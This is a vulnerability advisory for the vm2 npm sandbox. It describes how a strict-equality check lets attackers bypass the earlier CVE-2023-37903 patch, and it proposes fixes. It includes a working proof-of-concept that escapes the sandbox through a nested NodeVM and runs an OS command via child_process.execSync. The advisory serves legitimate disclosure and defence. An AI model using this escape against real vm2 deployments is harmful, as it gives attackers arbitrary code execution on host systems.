GHSA-M4WX-M65X-GHRR

Vulnerability from github – Published: 2026-05-29 17:50 – Updated: 2026-06-12 20:52
VLAI
Summary
vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE
Details

Summary

The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.

When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.

Root Cause

// nodevm.js:263 — the security check
if (options.nesting === true && options.require === false) {
    throw new VMError('...');
}
// nodevm.js:280 — the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
//   - Line 263: undefined === false → FALSE → check skipped
//   - Line 280: requireOpts = false → same as require:false

Impact

Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:

  1. require('vm2') to get the vm2 library
  2. Construct an inner NodeVM with require: { builtin: ['child_process'] }
  3. Execute arbitrary OS commands via child_process.execSync

The inner VM is completely unconstrained by the outer sandbox configuration.

Reproduction

const { NodeVM } = require('vm2');

// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });

const result = nvm.run(`
  const { NodeVM } = require('vm2');
  const inner = new NodeVM({
    require: { builtin: ['child_process'] }
  });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'exploit.js'
  );
`, 'exploit.js');

console.log(result); // prints host uid/gid — full RCE

Suggested Fix

// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
    throw new VMError('...');
}

Or move the check after the destructuring default assignment:

const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
    throw new VMError('...');
}
Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T17:50:22Z",
    "nvd_published_at": "2026-06-12T15:16:28Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely.\n\nWhen `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent.\n\n## Root Cause\n\n```javascript\n// nodevm.js:263 \u2014 the security check\nif (options.nesting === true \u0026\u0026 options.require === false) {\n    throw new VMError(\u0027...\u0027);\n}\n// nodevm.js:280 \u2014 the default assignment (AFTER the check)\nconst { require: requireOpts = false } = options;\n// When options.require is undefined:\n//   - Line 263: undefined === false \u2192 FALSE \u2192 check skipped\n//   - Line 280: requireOpts = false \u2192 same as require:false\n```\n\n## Impact\n\nFull Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can:\n\n1. `require(\u0027vm2\u0027)` to get the vm2 library\n2. Construct an inner `NodeVM` with `require: { builtin: [\u0027child_process\u0027] }`\n3. Execute arbitrary OS commands via `child_process.execSync`\n\nThe inner VM is completely unconstrained by the outer sandbox configuration.\n\n## Reproduction\n\n```javascript\nconst { NodeVM } = require(\u0027vm2\u0027);\n\n// nesting:true, require not specified (defaults to false AFTER the check)\nconst nvm = new NodeVM({ nesting: true });\n\nconst result = nvm.run(`\n  const { NodeVM } = require(\u0027vm2\u0027);\n  const inner = new NodeVM({\n    require: { builtin: [\u0027child_process\u0027] }\n  });\n  module.exports = inner.run(\n    \"module.exports = require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString()\",\n    \u0027exploit.js\u0027\n  );\n`, \u0027exploit.js\u0027);\n\nconsole.log(result); // prints host uid/gid \u2014 full RCE\n```\n\n## Suggested Fix\n\n```javascript\n// Change the check to catch both false and undefined/omitted:\nif (options.nesting === true \u0026\u0026 !options.require) {\n    throw new VMError(\u0027...\u0027);\n}\n```\n\nOr move the check after the destructuring default assignment:\n\n```javascript\nconst { require: requireOpts = false } = options;\nif (options.nesting === true \u0026\u0026 !requireOpts) {\n    throw new VMError(\u0027...\u0027);\n}\n```",
  "id": "GHSA-m4wx-m65x-ghrr",
  "modified": "2026-06-12T20:52:53Z",
  "published": "2026-05-29T17:50:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47137"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.